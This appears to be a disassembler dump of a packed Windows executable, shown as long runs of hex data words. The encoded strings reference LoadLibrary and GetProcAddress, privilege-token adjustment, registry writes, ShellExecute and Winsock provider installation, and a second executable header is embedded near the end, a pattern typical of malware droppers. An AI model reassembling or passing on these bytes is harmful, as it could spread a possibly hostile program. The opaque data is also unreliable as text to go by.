		dd 78CD093Eh, 4A2F1D18h, 0C04E98FBh, 0D53C63FBh, 96292FECh
		dd 0F992EE16h, 0B7FAE810h, 570D64F5h, 0BBE28B2Eh, 0A3223EB8h
		dd 7AD9EC02h, 9B3E27EFh, 5FDB26F0h, 0B6E20F8h, 2C5F1551h
		dd 0CCE04CD9h, 5FA8EF04h, 93D37BFh, 912AA3D6h, 0C0E350CCh
		dd 0F4767A3Dh, 0DDF97C94h, 8A4319F3h, 35D44414h, 0F910CA89h
		dd 0EEC8AE80h, 85369C7h, 0DAB9F804h, 93E479E6h,	9BD404DDh
		dd 932482BCh, 0D2BE84F4h, 0A059B8D0h, 4DFFB724h, 0C60C7E12h
		dd 75A4CF8h, 475FE6C5h,	0A2BC3209h, 37E0AECBh, 77C88DDCh
		dd 0D942D71Ch, 0A6A74480h, 54F59981h, 0A467B99Dh, 516FB408h
		dd 5054B675h, 78F4D78Ah, 0B8B941C9h, 0DCDB143Dh, 0E6F34BF6h
		dd 0FB1892B1h, 0C5363393h, 37921DE1h, 7AD3BA13h, 9A0172AEh
		dd 0F80770F4h, 731EA37h, 184C97C2h, 59C0E70Fh, 0F3B32C97h
		dd 15376F46h, 0F91B384Fh, 45C0A055h, 87923859h,	1E840DAh
		dd 71BD753Dh, 4CE6C2BAh, 21C33AD3h, 61BE69F3h, 56ABD28Eh
		dd 0CE8E0BF6h, 7898B9EFh, 9FEA383Ah, 75316CF6h,	0B076B453h
		dd 0A05F3AC0h, 231E3B54h, 0DCFD0938h, 1FE9DC9Fh, 3182399Dh
		dd 86F0F29Ah, 0D988E510h, 6AAF93B2h, 928D1D6Bh,	0F67290C7h
		dd 8771CA03h, 0F3FA1A34h, 507B69FBh, 6358E4FFh,	0B0E06F12h
		dd 48F31EA9h, 5F0D496Ch, 6539993Bh, 0AC6E1C26h,	0B8495C09h
		dd 0FF3989E1h, 0D7D394D9h, 64BF37ECh, 9D2782FAh, 107D2DE0h
		dd 0EA0A7EEDh, 5EE6970h, 8D18BF78h, 0B3E16C4Ch,	0C426FCA6h
		dd 0A21D7FACh, 580AD29Fh, 43643807h, 0F0EF819Dh, 0C427BFD2h
		dd 4750227Eh, 0B01747F8h, 95561C48h, 5AF2EECCh,	846E6A89h
		dd 250D6866h, 0E3031598h, 0BCE624AAh, 0E87ED502h, 42775166h
		dd 62B0C819h, 0DD6D7745h, 10151B5h, 72D6F017h, 5D4DC8D7h
		dd 8262F44Ah, 8C9E5972h, 0E67AF112h, 0F26B5476h, 97C36EEFh
		dd 844423DCh, 0D548938Fh, 99687585h, 0CBB5809Dh, 0A3878464h
		dd 0C63E6642h, 105D6305h, 71146AB5h, 2B1F4F70h,	8753A027h
		dd 918D6D2h, 0F05F6FE1h, 4830834Dh, 98E31CD3h, 532385A0h
		dd 0DE3E94F8h, 51CCEEB6h, 43292530h, 5DE84999h,	0F5585E3Fh
		dd 0ED8D1548h, 159B6CB4h, 972CB51Fh, 0BEE30029h, 0F0C3DEF1h
		dd 40E95AECh, 1CC7CA6Bh, 20D57EA9h, 2B5E5497h, 61BD5F2Bh
		dd 78612C81h, 545594AEh, 1D802D2h, 0A7C1169Fh, 35F466A9h
		dd 0CDC571A6h, 0B6423D77h, 5F74DE82h, 0B583B699h, 0E356FEC4h
		dd 0D67C3F74h, 0F442E5B9h, 0BD21BC8h, 0F015BBB8h, 7F99A689h
		dd 0BBC1840Ch, 27E58729h, 0DF745748h, 116638BFh, 1B747E12h
		dd 1510BC88h, 32DAA341h, 0DD3A6AD8h, 7BCAABD9h,	0B09640A0h
		dd 2EC2E52h, 0FE45BF3Fh, 0C92CCC2Ah, 90294DD3h,	0BCF71204h
		dd 938F159Bh, 5A17524Ch, 5372975Bh, 6CA53320h, 0D85D7EB4h
		dd 0F88B82EBh, 38C3E250h, 0B2E22D7Fh, 35E58750h, 47ABAD8Bh
		dd 65E1B08Dh, 84F9D47h,	0E27273C7h, 30F9AE9Fh, 0E042574Fh
		dd 2553CF90h, 143A7CC0h, 0CFA0001h, 0FF06A05Ch,	0C5396159h
		dd 28A3FD1Bh, 0DE39903Ch, 0D81BC117h, 6FB04873h, 41F7BC3Dh
		dd 886557CCh, 2BFFA8FEh, 1F95B0FCh, 0F5E88AEEh,	2D800828h
		dd 0D187490Ch, 83D5338Ah, 0E93DEDCFh, 0EDA60CFFh, 94CD1820h
		dd 0B7E014E3h, 7EE0671Ch, 89278F45h, 87F59803h,	5E24A41Bh
		dd 8FE23055h
		dd 0CAC698E9h, 7E0A9E53h, 0ABF56316h, 0CCC67280h, 7A200676h
		dd 0DE9CF7A4h, 64084769h, 3408BC11h, 6B25228Fh,	0C2EF60D4h
		dd 2101098Ch, 2A580885h, 0F046180Ch, 98A79127h,	51337315h
		dd 0A4769D34h, 61ACB013h, 0FFEDDDFEh, 2C3FEE45h, 0C2136C2Bh
		dd 38AF3BA7h, 1824FF5Eh, 0FCDD21EBh, 6385CF07h,	0B0D96A38h
		dd 87442E21h, 0A4B6706Ch, 701C4D36h, 7821B90h, 56D990Ah
		dd 698477E8h, 0BD26A4C3h, 54A6FB84h, 0F0227B18h, 8CD67884h
		dd 1342D634h, 471EAE2Fh, 41B2EDF5h, 4CDF3645h, 0D9DAA112h
		dd 0DFC4E65Eh, 2466935Ah, 7070D888h, 28D76463h,	5411A320h
		dd 0A4E8E52Eh, 84262322h, 0C7F63F8Eh, 3A3DFDEAh, 535B8CE5h
		dd 42FFE9D5h, 60373E26h, 91609163h, 0A50364E1h,	0D767ECF5h
		dd 2D89681Dh, 0C1AB2BEDh, 5BD9E715h, 7E69E61h, 0BC312596h
		dd 0E20A5987h, 2335EED6h, 36916DA3h, 0E4089A96h, 0F2F4334Bh
		dd 0FF13CD4Fh, 25F4B308h, 1BE7F2E3h, 5EBFA786h,	1670771Fh
		dd 0F8D9484h, 96ABA82Ch, 867DD70Bh, 745E1236h, 5207F56Dh
		dd 93DBBF18h, 0D89547B8h, 0A083h, 38h dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 7Dh,	0D0h, 45h
		align 8
		retn	0BFh
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(1), 0D042h, 0D03Eh, 0D03Ch, 0D0460000h, 6D820000h
		dd 53570000h, 61745350h, 70757472h, 19CF00h, 3 dup(0)
		dd 0D18Ch, 0D19Ch, 0D1B0h, 0D1C0h, 0
		dd 8000000Ch, 0
		dd 800015E8h, 0
		dd 0D1F4h, 0
		dd 0D210h, 0
		dd 0D230h, 0
		dd 0D254h, 0
		dd 0D274h, 0
		dd 0D294h, 0
		dd 0D060h, 0
		dd 0FFFFFFFFh, 0D17Ch, 0D060h, 0D074h, 0
		dd 0FFFFFFFFh, 0D1D0h, 0D074h, 0D07Ch, 0
		dd 0FFFFFFFFh, 0D1DCh, 0D07Ch, 0D084h, 0
		dd 0FFFFFFFFh, 0D1E8h, 0D084h, 0D08Ch, 0
		dd 0FFFFFFFFh, 0D204h, 0D08Ch, 0D094h, 0
		dd 0FFFFFFFFh, 0D224h, 0D094h, 0D09Ch, 0
		dd 0FFFFFFFFh, 0D244h, 0D09Ch, 0D0A4h, 0
		dd 0FFFFFFFFh, 0D268h, 0D0A4h, 0D0ACh, 0
		dd 0FFFFFFFFh, 0D288h, 0D0ACh, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69560000h, 61757472h
		dd 6572466Ch, 65h, 5F325357h, 642E3233h, 6C6Ch,	3443464Dh
		dd 4C442E32h, 4Ch, 4356534Dh, 642E5452h, 6C6Ch,	615F0000h
		dd 73756A64h, 64665F74h, 7669h,	52455355h, 642E3233h, 6C6Ch
		dd 72540000h, 6C736E61h, 4D657461h, 61737365h, 6567h, 33494447h
		dd 6C642E32h, 6Ch, 65470000h, 6F745374h, 624F6B63h, 7463656Ah
		dd 0
		dd 41564441h, 32334950h, 6C6C642Eh, 0
		dd 65520000h, 65704F67h, 79654B6Eh, 417845h, 0
		dd 4C454853h, 2E32334Ch, 6C6C64h, 68530000h, 456C6C65h
		dd 75636578h, 416574h, 0
		dd 33656C6Fh, 6C642E32h, 6Ch, 6F430000h, 61657243h, 75476574h
		dd 6469h, 0DF18B8h, 0FF645010h,	35h, 25896400h,	0
		dd 889C033h, 6F434550h,	6361706Dh, 3274h, 48000C08h, 575601E1h
		dd 5C8B5553h, 0DB851C24h, 21AB840Fh, 0E60EBDE8h, 6B0B0D60h
		dd 6C6E7265h, 642E3233h, 0B8064414h, 0C08513FFh, 0F08B8F38h
		dd 86330CE8h, 6900ECE3h, 61757472h, 1865466Ch, 3E0453FFh
		dd 0FFC4D0A3h, 1B72E88Bh, 8733A341h, 636F6E15h,	248B581Ch
		dd 0C18F7C14h, 6A18A1F9h, 0FF481068h, 81F86036h, 33D00839h
		dd 50D88B3Fh, 57047654h, 468D0808h, 0C9D5420Fh,	50CB6F9h
		dd 0FF06180Dh, 53500E11h, 6002E6E8h, 5A28C483h,	8E67458h
		dd 33033A99h, 40825048h, 1D0D553h, 0EB582805h, 5F5B5D11h
		dd 8B94C25Eh, 0A042454h, 750A833Bh, 0C7754A75h,	89011042h
		dd 8AC3FF0Ch, 0C1FFB074h, 448B8941h, 0F2510824h, 0C4C742Ah
		dd 66838656h, 3E83D080h, 576008B0h, 0C1030689h,	6AFF084Eh
		dd 5F044605h, 1EB06074h, 2BBE856h, 0C4E8B59h, 0E1C1C0F2h
		dd 48390B08h, 2E4F6F86h, 0C3B8E875h, 0ECE7EC1Ch, 53453DB7h
		dd 0CF657A7Ch, 89C28FCFh, 3730575Eh, 747EAFA3h,	0D12E8931h
		dd 0DF3BEF24h, 1EC6EC72h, 832B063Ah, 0FF81014Dh, 81EC73F3h
		dd 56120FA6h, 69E8E7C1h, 59E34EA5h, 40DED90Bh, 0D24DD87Ch
		dd 5F728990h, 0D3721505h, 0C35D5B82h, 0B70F0494h, 0E1807C11h
		dd 460C9723h, 0C1F8A808h, 0AF0F0BEFh, 0D03EBFAh, 0D73B567Fh
		dd 0DF554073h, 80060166h, 0D0461C24h, 0FA2BACBFh, 305FFC1h
		dd 398966F8h, 3EEA3481h, 19678942h, 1C6605B6h, 0B9EBDAACh
		dd 2B42EB72h, 22DD59C7h, 1C16D79Bh, 0AD28F56h, 1BF43DD0h
		dd 5EAC1E0h, 0CC86C22Bh, 0FEFD0FCAh, 8313FD40h,	7FE04C7Dh
		dd 281F747Dh, 0C0E15028h, 1075FF10h, 3C9348Dh, 3AE850C6h
		dd 92228C7Eh, 294F12CEh, 42C8E28Bh, 340CFAFBh, 0DBC0E2D3h
		dd 0DB571453h, 0D898092Eh, 105839FFh, 8356277Eh, 0FF286508h
		dd 127618E7h, 12040238h, 0CFE84CFEh, 0E0D33014h, 723B471Ch
		dd 1BC7AE60h, 8B5F5EDBh, 77A15BC3h, 56DFCCA3h, 6C660C57h
		dd 8496D32Fh, 0BA253C3h, 886CD63Dh, 7C29A8C2h, 0C09096E2h
		dd 14BF4357h, 0D4761EB9h, 0CAFA9420h, 8765D00Ch, 0C144C3B2h
		dd 14907EEh, 92C3A0E0h,	48322F6h, 0DB977841h, 48051081h
		dd 0A6F03B28h, 0D17CAA1Dh, 2DBE1BEBh, 6F3422DEh, 3E765DC2h
		dd 68650494h, 0E53BD88Eh, 9BC38AC7h, 8C9A7590h,	10B2572Bh
		dd 46F65521h, 0F4F65445h, 0C921875h, 0B8D31DDDh, 6A068D04h
		dd 99DE7803h, 9C8A4121h, 2E66C0Ch, 10452C1Ch, 1E285C85h
		dd 983AA184h, 0B32B0233h, 14EB08C0h, 0ACAC496Ah, 4C68109h
		dd 169DB6D7h, 28F96C10h, 9D309F39h, 30E13220h, 1470F867h
		dd 0E7C2481Ch, 60C8D54h, 2077B857h, 62031A88h, 0FA84E82Dh
		dd 770C8102h, 5589CEE7h, 0F4F006FCh, 60DC12ECh,	36057440h
		dd 0DB323C07h, 39564A4Fh, 3006929h, 0E87D8988h,	873E42Eh
		dd 0E958026Ah, 37B4D3FFh, 0BD03A9FFh, 0D1C81276h, 90040490h
		dd 0FEE07475h, 0C913ABF3h, 830E0766h, 8D200CA0h, 1C0CD045h
		dd 0F8FCD6A1h, 0B120832Ch, 91148481h, 8657287Dh, 0E82677BAh
		dd 8384C023h, 0E07D89CEh, 850F18EEh, 51F41212h,	8DF813B6h
		dd 0BF51D04Dh, 3DF462Bh, 0C803042Fh, 0FD317A4Eh, 8459CCFBh
		dd 0F8894233h, 0E2331423h, 0C9024051h, 4D2A08B1h, 0D3C39E10h
		dd 248B7E8h, 3A58324h, 164058C2h, 7FF8309h, 70E6C19h, 7C80C736h
		dd 2B143221h, 8A2462FCh, 0C9880A0Ch, 97CE9226h,	0B71AA2B7h
		dd 5A3A1899h, 31FDE70Fh, 0BD8A005Ah, 8A048C7Ah,	882497D8h
		dd 97D081Ch, 910B90FCh,	2306E92Bh, 0D80B0AFFh, 0EFFC501Bh
		dd 0E9F8FB03h, 62101F6h, 0BED4F3EBh, 50DCA98Dh,	21807ED6h
		dd 0C83E188h, 0F87BA445h, 981CDFA5h, 8644AA03h,	15C15971h
		dd 0A2064875h, 0F47B124h, 0B0F003BDh, 30D13846h, 0DC554508h
		dd 0FA397C75h, 63B6840Fh, 0F0AA4389h, 0C09DC545h, 52080CBCh
		dd 1B098241h, 0A28A91F8h, 0C88D90CAh, 4F72E99Ah, 4312B0BFh
		dd 0C614C862h, 0EBF04E05h, 0F6C87B2Bh, 1BAE3BFBh, 0EBF41C94h
		dd 0EC108409h, 0CEDB7C89h, 19F01273h, 2110A0C2h, 824513CDh
		dd 6886377Dh, 0FD5B360Ah, 82A98AA3h, 8BAD2D91h,	1E8FBFD1h
		dd 0BFDE048h, 1226CDB6h, 9A84C6E9h, 73DFEC16h, 88A1A912h
		dd 1890DB43h, 540A2C5Eh, 8445018h, 4F070664h, 7CB504F8h
		dd 48945203h, 7D58B698h, 0ED88AE0Ah, 6A603FC0h,	0F8FBEC48h
		dd 7C509898h, 0E3344F5Ah, 0FE3CE01h, 49F9D101h,	28D302CBh
		dd 8D1D7D0Eh, 8552D055h, 1A31FCC2h, 4E68C82Bh, 0F156055Eh
		dd 2077140Dh, 0EBD80332h, 51FCC12Eh, 0FAA9E871h, 0A444FD28h
		dd 7FD86248h, 0B3B36A44h, 0C62E950Ah, 0D3EB142Bh, 5D43B6F0h
		dd 0B4C79B84h, 69367978h, 569487C2h, 273D77D5h,	0F9A41E83h
		dd 0C1029A43h, 8A4D402Bh, 0A402C187h, 40410A68h, 408912FFh
		dd 393B0574h, 2882AF5Eh, 93E6F072h, 820FF809h, 72CDFD46h
		dd 5C41305Ch, 5CF5EB2Ch, 5058C95Bh, 0EB851626h,	23190F6h
		dd 8AE90410h, 9570A78Ch, 8D06001h, 0CA8CCC64h, 0C98D0130h
		dd 0BC9BF408h, 6C01BB6h, 1A40F04h, 0D2522B31h, 3125011Ch
		dd 9C4BFC9h, 18AE8213h,	66813E02h, 19A1C862h, 99493606h
		dd 1C6DEBB9h, 0A0AAFC3h, 80F91C0h, 9E8014Ah, 5138D6F4h
		dd 0B70098D0h, 0E8AAF314h, 1EB6F4Ah, 6185325h, 5597B828h
		dd 815D10E8h, 9212D8EDh, 0DCCB58Dh, 0F49468Bh, 0C031900Fh
		dd 0DEF02B04h, 1DB1B056h, 1C768B80h, 0BD8DF203h, 0ABAD30C4h
		dd 487B3404h, 0DC6DF801h, 8B157401h, 0F6854473h, 7923B90Eh
		dd 0C8407B3Eh, 0FAEA3BF3h, 0B450A4F3h, 8E4B8F8Ch, 0B46F2F01h
		dd 2C511705h, 0E82A530Dh, 190E34Bh, 29B0858Bh, 1018C7B0h
		dd 1B60727h, 2C4E8B4Bh,	0CC0324C6h, 22708D89h, 6A35FC4Eh
		dd 0D651D740h, 0D609AC5h, 0BC858912h, 32E6DB25h, 2C1BC498h
		dd 381308B2h, 30289472h, 8161450Ch, 60024343h, 0C985344Eh
		dd 3D9A625Bh, 8033C62h,	6B0D3A51h, 0B5C402A3h, 958B7B74h
		dd 8DD8196Fh, 12440D73h, 0C40C8830h, 2DEBD2A2h,	8057C1F7h
		dd 81521E74h, 60CC44E1h, 567F4BC2h, 50319185h, 0FF1CCC0Eh
		dd 284E160Eh, 1D26E495h, 341A055h, 522C856Dh, 0D965C3Fh
		dd 421A066Ah, 4A851014h, 0E095BC1Ch, 359C0815h,	0A2848880h
		dd 35DE431Ch, 600C4375h, 4BFC7E02h, 0F703F140h,	0C5E906C6h
		dd 23042B05h, 4689E624h, 57BC3501h, 48242E8h, 0D624D64Fh
		dd 0C7031328h, 0DA498008h, 0B5870C45h, 270C92BCh, 28825109h
		dd 5B5F5E5Dh, 0B8FCC4DDh, 819001E8h, 0EB815B08h, 75C9148Fh
		dd 51CB030Eh, 850E93FFh, 0F6A72248h, 0D3470456h, 498EC1FBh
		dd 7402AFFBh, 6445216h,	0B1C3AFD5h, 0C844FC75h,	0AB0CDCABh
		dd 0C2835A03h, 0C6E4EB04h, 0C57506ACh, 991EC9AFh, 5A2A45E1h
		dd 479C7DF8h, 92435F80h, 0C33BD83Eh, 38775974h,	0F30352E9h
		dd 0C8B03C76h, 4AD82BD3h, 6881ADF8h, 73DAF8EBh,	8E983C8h
		dd 21E4250Eh, 0C766ED4Dh, 1BFB6645h, 66ADCF16h,	0A3D80410h
		dd 1E03FB7Dh, 81F88B84h, 7F493F0Dh, 0FB8A0FE7h,	3A0CE8C1h
		dd 0FFCDC9D8h, 4807019Bh, 4971F229h, 76B7EBD2h,	4A1F3F73h
		dd 0DC66C120h, 28278153h, 3075B0Ch, 0F4EB085Bh,	0F2190C23h
		dd 190829Fh, 351CE8FAh,	0E35423C4h, 0C4483C15h,	48C99302h
		dd 70A743Ch, 0B102EFEh,	0EB500AE0h, 5589B607h, 46B70FF8h
		dd 75A8A910h, 8A4C907Dh, 747708EEh, 0AB5831F1h,	0FC4A6C78h
		dd 36125E40h, 403C8012h, 0CF3BF8F4h, 4606347Dh,	1D0B60Fh
		dd 0E82CFC55h, 0FA063B2h, 0C8FE7448h, 1C75D78Ah, 0DD0382Ah
		dd 49CC2689h, 10C0081Dh, 60EC486h, 0E7EB9801h, 4CEBB0Ch
		dd 0EAC8EB41h, 5E249706h, 9246BC59h, 302A3B35h,	0B1422998h
		dd 0F167EA6h, 8A0188E9h, 0EB9DBA1Ah, 378E5117h,	0EC83C25Ch
		dd 8186602h, 1276FC4Ah,	59FE1652h, 91491C8Eh, 2FB04D56h
		dd 0E5DFD657h, 0A11FDFBEh, 0A2C16C8h, 4EBCA6E5h, 0ED43CDDEh
		dd 2618B294h, 0E04D7443h, 287D1C73h, 0EDF8084Bh, 0C1710B03h
		dd 0A5F302F9h, 28E1831Dh, 0FF914348h, 0FA16047Bh, 19D16FA4h
		dd 7C421B36h, 5AAACAABh, 323B60CEh, 2040563Dh, 0C3A6328Dh
		dd 40A2A275h, 6AA11FD1h, 479A9C17h, 6091B948h, 51F00E02h
		dd 8A915652h, 0C8A85317h, 0BFBB89D6h, 0C295EC7Dh, 6E161A83h
		dd 36C82B48h, 2F9921B2h, 7C205E13h, 164F6004h, 0E8CA9383h
		dd 0F40E4806h, 6F084952h, 54A922C4h, 708B8D0Fh,	30711E51h
		dd 0EC06D971h, 744012D3h, 92DDD441h, 291246B5h,	0FB6EC215h
		dd 68F369Fh, 285ACAEBh,	1B6B0B8Ch, 7D3BFA90h, 0EBF90E96h
		dd 0C589DA11h, 0C740F327h, 0CDF73005h, 0E02D35CDh, 0E38F392Bh
		dd 5E499C52h, 3916AED2h, 8400BDAh, 652AAD2Dh, 0E402D4Ah
		dd 9240190h, 0F1D73296h, 7339C05Dh, 9A841D43h, 247406F4h
		dd 1EA60803h, 843E85Fh,	1240C26h, 107E833Dh, 7B21FF85h
		dd 53515750h, 40B518E8h, 905377E1h, 15C64859h, 0E74096E9h
		dd 0AFC5EB14h, 8252D91Bh, 45198588h, 0D883890Ch, 967310C2h
		dd 0F6087112h, 0A0938B46h, 3F25F232h, 0BAD2E699h, 61CDA1B4h
		dd 4E677192h, 725C4EEBh, 242420E9h, 0D5C6E598h,	145507A7h
		dd 0D602D285h, 0E7EB0DE1h, 0C7F22A83h, 2C846044h, 4085A291h
		dd 22A95552h, 5F052509h, 6A20B4E0h, 3220EEBh, 87838C41h
		dd 51B0E395h, 22658740h, 5AB854A3h, 49C29D69h, 224A134h
		dd 0B0EBC45Bh, 0CD79159Eh, 0FC8DA4DAh, 5ED601B5h, 3033F33Ah
		dd 0C889F12Bh, 75C57DE0h, 3B1C19D0h, 0EBFC0C4Dh, 0A51536F3h
		dd 0FC742093h, 82902138h, 1AB008AFh, 0B53C4068h, 2E481448h
		dd 7C8D16C1h, 50FC0301h, 10500244h, 0C173A881h,	27478AACh
		dd 8D05E9A8h, 2C746822h, 0DA201288h, 0D2317521h, 0E5EB22Eh
		dd 3510CA8Ah, 30C42212h, 0FE07250Ch, 41C890A7h,	74071E70h
		dd 63696C10h, 6E6F7461h, 3D726520h, 54DCF81Eh, 0F1FF1F68h
		dd 63127033h, 25147564h, 7CF2F973h, 0F5BD6C7Dh,	746EE5D9h
		dd 0FB772062h, 365B7DDBh, 0AB315E69h, 4453C71Ch, 352E474Ch
		dd 612C6478h, 0D2BC3E6Ch, 463320BBh, 82A76C69h,	0E853EC33h
		dd 1C747075h, 0FBA1EF2Ah, 4B4D8A0Eh, 94737557h,	3C9E3233h
		dd 614D0EDEh, 83DD1867h, 786F42C3h, 949D7741h, 13326674h
		dd 2114CA99h, 9C0980C6h, 9D473E8h, 5CEE00E0h, 45F0419Ah
		dd 50746978h, 0A4DC1460h, 8A4384CEh, 6E6148A0h,	0F5E2B64h
		dd 704FF2DCh, 0CF542918h, 4D74471Fh, 1E1C6CEEh,	4192F768h
		dd 63B841F5h, 0B80EE286h, 62447349h, 72816775h,	33224424h
		dd 247060DBh, 94EE72Ah,	0D65F4236h, 6E89170Ah, 0A4855F01h
		dd 259B0354h, 1E0h, 60006C00h, 2424748Bh, 28247C8Bh, 33DB33FCh
		dd 2B3A4D2h, 6DE8h, 33F67300h, 64E8C9h,	1C730000h, 5BE8C033h
		dd 73000000h, 4102B323h, 4FE810B0h, 12000000h, 75F773C0h
		dd 0D4EBAA3Fh, 4EE8h, 75CB2B00h, 43E810h, 28EB0000h, 74E8D1ACh
		dd 0EBC9134Eh, 0C148911Ch, 0E8AC08E0h, 2Dh, 7D003Dh, 800A7300h
		dd 67305FCh, 777FF883h,	95414102h, 1B3C58Bh, 2BF78B56h
		dd 5EA4F3F0h, 0D2038EEBh, 0AD920675h, 42D20392h, 41C933C3h
		dd 0FFFFEDE8h, 0E8C913FFh, 0FFFFFFE6h, 2BC3F272h, 8928247Ch
		dd 611C247Ch, 0CC2h, 0D2C8h, 12B8h, 7B8h, 0DE47h, 0D068h
		dd 0D06Ch, 10000000h, 0D060h, 0D064h, 0CD1FB8h,	1C888D00h
		dd 89100012h, 548B0141h, 528B0424h, 0E902C60Ch,	2B05C283h
		dd 0FC4A89CAh, 0B8C3C033h, 12345678h, 58F64h, 83000000h
		dd 535504C4h, 52565751h, 11D5988Dh, 538B1000h, 0E88B5218h
		dd 68406Ah, 0FF000010h,	6A0473h, 3104B8Bh, 0FF018BCAh
		dd 0F88B5AD0h, 338B5250h, 320438Bh, 89088BC2h, 438B204Bh
		dd 8BC2031Ch, 1C4B8908h, 4B8BF203h, 8DCA030Ch, 57501C43h
		dd 5AD1FF56h, 8430358h,	8B52F88Bh, 0FC468BF0h, 2B04C083h
		dd 85689F0h, 89104B8Bh,	4B8B244Eh, 4E895114h, 0C4B8B28h
		dd 0FF144E89h, 0C88589D7h, 8B100012h, 0EB5A59F0h, 68CA030Ch
		dd 8000h, 0FF57006Ah, 5AC68B11h, 5B595F5Eh, 0E0FF5Dh, 6	dup(0)
		dd 0D000h, 10h,	3F0C32A5h, 3F19h, 396h dup(0)
		dd 0C8h, 20h, 616F4C01h, 62694C64h, 79726172h, 47010041h
		dd 72507465h, 6441636Fh, 73657264h, 4D010073h, 69746C75h
		dd 65747942h, 69576F54h, 68436564h, 1007261h, 43746547h
		dd 65727275h, 7250746Eh, 7365636Fh, 53010073h, 7065656Ch
		dd 65470100h, 61745374h, 70757472h, 6F666E49h, 6C010041h
		dd 6C727473h, 416E65h, 74654701h, 706D6554h, 68746150h
		dd 47010041h, 6F4D7465h, 656C7564h, 656C6946h, 656D614Eh
		dd 47010041h, 6F4D7465h, 656C7564h, 646E6148h, 41656Ch
		dd 74654701h, 74737953h, 69446D65h, 74636572h, 4179726Fh
		dd 65470100h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 1004179h, 64616F4Ch,	6F736552h, 65637275h, 69530100h
		dd 666F657Ah, 6F736552h, 65637275h, 69460100h, 6552646Eh
		dd 72756F73h, 416563h, 74654701h, 7473614Ch, 6F727245h
		dd 0D5000072h, 0
		dd 1000000h, 6E65704Fh,	636F7250h, 54737365h, 6E656B6Fh
		dd 6F4C0100h, 70756B6Fh, 76697250h, 67656C69h, 6C615665h
		dd 416575h, 6A644101h, 54747375h, 6E656B6Fh, 76697250h
		dd 67656C69h, 1007365h,	51676552h, 79726575h, 756C6156h
		dd 41784565h, 65520100h, 65724367h, 4B657461h, 78457965h
		dd 52010041h, 704F6765h, 654B6E65h, 41784579h, 65520100h
		dd 6F6C4367h, 654B6573h, 0E2000079h, 64000000h,	0FF000000h
		dd 0FAFF1186h, 9D0FF09h, 0FF1663FFh, 41FF0F52h,	144FFF04h
		dd 0FF095CFFh, 0B4FF0D12h, 14B6FF14h, 0FF0AA5FFh, 5AFF0FEFh
		dd 14BBFF12h, 0FF14A9FFh, 0A6FF1652h, 0C4BFF0Bh, 0FF18E7FFh
		dd 40FF1171h, 0CBEFF0Ch, 0FF0BA9FFh, 0A0FF0C09h, 0EF6FF0Bh
		dd 0FF0EF7FFh, 7FF0EF1h, 0FF0FF0Ch, 0FF120EFFh,	9AFF1148h
		dd 231FF0Eh, 0FF0339FFh, 6BFF032Fh, 10B2FF10h, 0FF0628FFh
		dd 62FF0490h, 1442FF01h, 0FF07BBFFh, 0DFFF0299h, 21DFF04h
		dd 0FF0219FFh, 17FF0321h, 21CFF02h, 0FF106AFFh,	5AFF039Ch
		dd 320FF03h, 0FF035CFFh, 41FF0CBBh, 0EC0012h, 1500000h
		dd 5F010000h, 746E6F63h, 666C6F72h, 5F010070h, 65637865h
		dd 685F7470h, 6C646E61h, 337265h, 735F5F01h, 615F7465h
		dd 745F7070h, 657079h, 705F5F01h, 6D665F5Fh, 65646Fh, 705F5F01h
		dd 6F635F5Fh, 646F6D6Dh, 5F010065h, 756A6461h, 665F7473h
		dd 766964h, 735F5F01h, 73757465h, 616D7265h, 72656874h
		dd 5F010072h, 74696E69h, 6D726574h, 5F5F0100h, 6D746567h
		dd 616E6961h, 736772h, 63615F01h, 6E6C646Dh, 78650100h
		dd 1007469h, 7063585Fh,	6C694674h, 726574h, 78655F01h
		dd 1007469h, 7465735Fh,	7063626Dh, 63770100h, 79706373h
		dd 63770100h, 74616373h, 6F5F0100h, 6978656Eh, 5F010074h
		dd 6C6C645Fh, 78656E6Fh, 1007469h, 65706F66h, 6601006Eh
		dd 736F6C63h, 74010065h, 656D69h, 61727301h, 100646Eh
		dd 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 6D010072h
		dd 6F6C6C61h, 66010063h, 656572h, 0F700h, 1B800h, 70520100h
		dd 72745363h, 46676E69h, 41656572h, 75550100h, 6F546469h
		dd 69727453h, 41676Eh, 69755501h, 65724364h, 657461h, 10200h
		dd 1C800h, 53570100h, 756E4543h, 6F72506Dh, 6F636F74h
		dd 100736Ch, 49435357h,	6174736Eh, 72506C6Ch, 6469766Fh
		dd 7265h, 0
		dd 4550h, 2014Ch, 45D07FBBh, 2 dup(0)
		dd 10F00E0h, 6010Bh, 2800h, 8C00h, 0
		dd 284Eh, 1000h, 4000h,	400000h, 1000h,	200h, 4, 0
		dd 4, 0
		dd 0D000h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 3034h, 8Ch, 4000h, 8AD8h, 12h dup(0)
		dd 1000h, 1D4h,	6 dup(0)
		dd 7865742Eh, 74h, 2644h, 1000h, 2800h,	400h, 3	dup(0)
		dd 0E0000020h, 7273722Eh, 63h, 8AD8h, 4000h, 8C00h, 2C00h
		dd 3 dup(0)
		dd 40000040h, 0C000h, 0
		dd 0C3CC0000h, 68860000h, 0FF5B360Ah, 8D85FFFFh, 9182A98Ah
		dd 0D18BAD2Dh, 481E8FBFh, 0B60BFDE0h, 0E91226CDh, 169A84C6h
		dd 0DBFF8B74h, 0A92EDFECh, 0DB4388A1h, 2C5E1890h, 4450DF0Ah
		dd 2FFFFFFDh, 4F07064Ch, 7CB504F8h, 48945203h, 7D58B698h
		dd 0ED88AE0Ah, 6A603FC0h, 0FFC4EC48h, 98D8BFFFh, 5A7C5098h
		dd 1E3344Fh, 10FE3CEh, 0CB49F9D1h, 0E28D302h, 0FFE31D7Dh
		dd 528A11BFh, 31FCC285h, 68C82B1Ah, 56055E4Eh, 3140DF1h
		dd 746FFFFFh, 2E420332h, 7151FCC1h, 28FAA9E8h, 48A444FDh
		dd 447FD862h, 0FFD1B36Ah, 0AB3FFFFh, 2BC62E95h,	0F0D3EB14h
		dd 845D43B6h, 78B4C79Bh, 0C2693679h, 0D5569487h, 0BFFFF6FCh
